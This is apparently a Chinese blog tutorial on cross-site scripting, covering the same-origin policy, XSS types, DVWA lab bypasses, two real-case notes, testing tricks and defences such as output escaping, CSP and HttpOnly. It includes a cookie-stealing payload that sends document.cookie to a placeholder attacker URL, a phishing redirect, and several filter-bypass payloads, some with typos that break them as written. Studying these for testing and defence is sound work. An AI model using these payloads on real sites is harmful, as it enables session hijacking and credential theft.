同源策略

浏览器中的同源策略旨在不同源之间的脚本如何互相访问,具体内容有以下 3 点:

  1. 读写对方页面 DOM。
  2. 操作数据,其中数据包括 Cookie、localStorage 和 IndexedDB。
  3. 发起 HTTP 请求,JS 发起请求主要用 XMLHttpRequest 和 Fetch。

把同源策略想象成一个盒子,不同盒子之间无法相互干扰。什么意思?可以充分发挥你的想象力,如果可以随机更改双方页面,该是多可怕的一件事,所以同源策略就是来解决这个问题。

下面引用 MDN 同源策略的定义,其加粗的文本内容是对源的定义。

如果两个页面的协议,端口(如果有指定)和主机都相同,则两个页面具有相同的源。我们也可以把它称为“协议/主机/端口 tuple”,或简单地叫做“tuple". ("tuple" ,“元”,是指一些事物组合在一起形成一个整体,比如(1,2)叫二元,(1,2,3)叫三元)

下表给出了相对http://store.company.com/dir/page.html同源检测的示例:

URL结果原因
http://store.company.com/dir2/other.html成功只有路径不同
http://store.company.com/dir/inner/another.html成功只有路径不同
https://store.company.com/secure.html失败不同协议 ( https和http )
http://store.company.com:81/dir/etc.html失败不同端口 ( http:// 80是默认的)
http://news.company.com/dir/other.html失败不同域名 ( news和store )

其次凡是能够引用外部资源的标签,也就是带有 src 属性的标签,都不受同源策略束缚。下面来看个例子。

<!DOCTYPE html>
<html>
    <head>
        <title>同源策略案例</title>
    </head>
    <body>
        <script src="//baidu.com/1.js"></script>
    </body>
</html>

script 标签 src 属性链接的是百度下的 1.js,有人会觉得这主机、协议都对不上,不符合同源策略的规则,

其实是在浏览器打开网页当解析到这个 script 标签时,浏览器会发送一个 GET 请求(只要带有 src 属性的都会发送 GET 请求)将百度下 1.js 内容嵌入到当前页面中,此脚本成为当前页面的一部分,所以符合同源策略。

当一个脚本被加载到当前页面中,此脚本可对符"合同源策略"的页面做任何操作,这时风险悄然而至。

原理

通过注入 HTML 标签,用户访问攻击者发送的页面时浏览器先解析 HTML,随后碰到 JS 代码交给 JS 引擎解析,恶意 JS 代码执行完成即完成攻击。

XSS 攻击的是客户端浏览器,JS 主要操作的也是浏览器,浏览器其中存有用户凭证,也就是服务端返回的会话凭证,这个应该也能称作会话劫持。

所谓跨站是指其中恶意 JS 脚本由其他地方来传入,并不是原站点所有。

跨站脚本使用的是 JS,只要能产生 XSS,那就可以用 JS 做任何事情,这需要前端玩儿的溜,对 JS 各种特性非常了解,没事推荐多去 MDN 上转转,去了解 HTML/CSS/JavaScript 新特性。

分类

  • 反射型(Reflected XSS)

    • DOM 型(DOM Based XSS)
  • 存储型(Stored XSS)

反射型

构造一段 Payload,标记中包含恶意 JS 代码,将这个 URL 发给受害者诱导其点击——像精准诈骗给人下套儿,打开页面后,后端应用程序将 Payload 返回到客户端浏览器,其中 script 标签内 JS 代码被浏览器解析执行后就会中招。

为什么会攻击成功?根据同源策略来看,后端应用程序返回的 Payload 和其他返回的 JS 文件一样都是这个服务器上的,客户端浏览器信任服务器返回的 JS 所以执行成功。

这样看来反射型产生的原因是应用程序层面对前端传来的数据没做清洗,漏洞成因明白了,要想攻击成功还是有点难度,其中利用难点是要求受害目标主动打开此链接。

//跳转钓鱼页面
<script>window.location='http://地址'</script>      

//用户点击链接后,服务端接收到JS未拦截,返回到客户端浏览器进行解析,此时客户端把自己的cookie发给js文件中地址接收。
<script>new Image().src="http://地址/GetCookie.php?output="+document.cookie;</script>  

DOM型

DOM 型分类上由于它们俩特性表面类似,我个人倾向于包含在反射型中。

它产生的原因是 JS 未处理好标签的参数,进而精心构造的 Payload 被 JS 以操作 DOM 的形式写入,浏览器解析即中招。
DOM 型和反射型区别在于,DOM 型不会向服务器发送请求,而是直接由 JS 引擎完成操作。

什么叫不向服务器发送请求?这什么意思?因为你去浏览一个站点时,服务器在返回内容中有包含 JS 文件,恰巧人家 JS 写的有问题,此时你触发 XSS 其实是在使用浏览器已经缓存后的 JS 文件。

存储型

恶意 JS 通过应用程序被存到后端数据库,客户访问页面时,由 Web 应用将数据查询结果返回给客户,浏览器解析后页面就会中招。

存储型自动攻击浏览此页面所有用户,就像抗战片缺不了打伏击镜头一样,国军布好反步兵地雷,日军从岔路口经过,砰的一声,一顿痛打。

它与反射性型区别在于反射型需要诱导受害者主动浏览链接,而存储型只需等待用户自己浏览这个页面,因此存储型危害相对于前两种会更大一些。

DVWA练习

反射型 XSS-Low 等级。它接受参数就直接输出没有任何过滤,<scirpt>alert(1)</scirpt>可以生效。

ReflectedXss-Low.JPG

反射型 XSS-Medium 等级。str_replace 只会过滤 script 标签可以用<script<script>>alert(1)</script>,这样会将完整的script标签替换掉,这个方法只会替换一次。另外可以用大小写方式进行绕过<sciTpt>alert(1)</scIrpt>

ReflectedXss-Medium .JPG

反射型 XSS-High 等级。用正则进行匹配

<img src="http://localhost/dvwa/dvwa/images/logo.png" onload="alert(1)">采用各种标签内事件来触发 XSS

ReflectedXss-High .JPG

Impossible等级,源码中用了htmlspecialchars()转义了&、"、'、<、>。无法进行攻击。

现在大多浏览器都自带XSS防护功能了

实际案例

时间紧,任务重,开发为了快速完整业务,编码时疏忽了安全这个点。

案例一

在留言区域存在XSS

案例1-漏洞位置.png

留言审核通过,主要是没在后端对传输的数据做审核。

案例1-漏洞截图.png

在测试中验证漏洞就行,别动不动弹个框影响人家正常业务 :) ,比如将 alert 替换为 console.log。另外还要避免使用公用 XSS 平台,你不知道他会不会把打到的数据偷偷使用,推荐上 github 找套源码自己搭建较为安心。

案例二

在发布页面存在存储型 XSS,问题出在标签参数可控,并且没有过滤。

案例2-漏洞位置.png

点击发布更改标签内容,发现script标签成功加载。

案例2-漏洞截图.png

PS:这码打的实在不及格,好在人家已经修完了。

测试方法

闭合标签!

时时注意页面上可控参数,实在没思路可以考虑看它 JS 怎么写的。

<img src="&#x3c;script&#x3e;alert(1)&#x3c;&#x2f;script&#x3e;">被过滤可以用HTML编码一波,处理src属性时会HTMl解码然后执行JS代码。

用伪协议javascript:alert(1)绕过,其中alert(1)会被执行。

加载第三方js时可以用<script src="//www.baidu.com/1.js"></script>绕过对https或http协议名称的检测

测试每一个参数(GET&POST),观察在页面上的反应。

<base href="http://sdf.com/">标签作用于页面上所有使用相对路径的资源,所有内容都从href属性定义的url中获取。可以用于劫持页面加载的资源。

DataUrls这种方法可以加载一些数据来触发data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

BEEF

待补充...

防御

一切的修复围绕编码开展

在服务端输出数据前实体转义 ><'"/\=& 为 HTML 实体字符,其中尖括号用于闭合标签,引号则是闭合标签中属性,等于号防止引用文件或执行语句,与符号则是防止浏览器将其解码为正常字符,比如&#x3c;就等同于<

为了防止 DOM 型 XSS 需要在 JS 处理参数时对这些符号进行转义,'"\换行(转义后结果为\n)

在修复存储型 XSS 首先要完善代码防护,随后把数据库中的Payload删除,不过这样做成本太高(涉及跟运维和开发沟通申请权限等事项),一般是将数据库返回的特殊字符转义成 HTML 实体字符交给客户端,最终目的是要避免漏洞修复后别人访问页面再次造成威胁。

如果过滤策略不能执行,在防御部分过滤字符应根据实际业余功能来进行过滤,比如一个只能输入数字的地方,我们就应该杜绝除数字以外的内容;说这个的原因是修复漏洞要尽量考虑全面,要避免编码带来业务上的影响,用户输入个 > 结果被编码了,非常影响体验。

前面提到的操作不光后端需要进行修改,前端 JS 也要做数据格式检查,这样会减少服务端要检查的请求为服务器减轻负载。

只有输入的内容需要展示在页面上,才验证输出。
给你举个例子,在搜索功能上其中搜索参数会作为某个标签的参数进行使用,但这个参数不会明显展示在页面上,它也存在 XSS,不要误解为只有像搜索框、留言板、个人介绍等地方会显示输入内容,也要关注页面其他标签有没相互传递参数。

CSP

由于页面上输入的字符数量有限,有时不得不引入其他站点的 script 来达成攻击,由于同源策略的原因浏览器信任同源的脚本,只要把页面上请求的脚本控制在可信范围内就能避免引入外链的脚本。

通过 WebServer 配置Response HTTP Header 的 Content-Security-Policy 字段(CSP)指定资源来源,只有外联脚本来自指定链接我浏览器才发起请求获取内容,以此控制资源可信问题。

下面的配置是说页面上所有资源只能来自同源的地址。CSP 还有其他可配置的选项,例如媒体、图片、字体、脚本、farme、样式。

Content-Security-Policy: default-src 'self'

CSP 有个缺点,在大型站点中不好维护,站点一大资源引用方面就需要做到很细致的梳理。

HTTPOnly

如果前端工程师无要操作 CooKie 时(一般不需要),可在用户名密码等关键功能点上 HTTPOnly 字段,以减少发生漏洞产生时的危害。

问题

文章疑问:

  1. HTTPOnly 只是不能通过document.cookie访问 Cookie,但是不能完全抵挡 XSS 攻击,也就是说还是能够绕过?(白皮书44页)
  2. 了解 JSONP(JSON with padding)劫持和前端跨域(CORS/CSP),跨域涉及到同源策略了解这一点非常有必要。
  3. Google and Mozilla will bake HTML sanitization into their browsers,浏览器 API 支持过滤 XSS 防御起来越发便捷。

防御内容资料参考:

  • OWASP XSS修复参考

文章补充:

  1. 抽空对原理小结画图展示。

练习

http://test.xss.tv
https://xss.haozi.me
http://www.xssgame.com
https://xss-game.appspot.com
XSS-GAME google官方答案

参考链接

标签: none

讨论讨论讨论!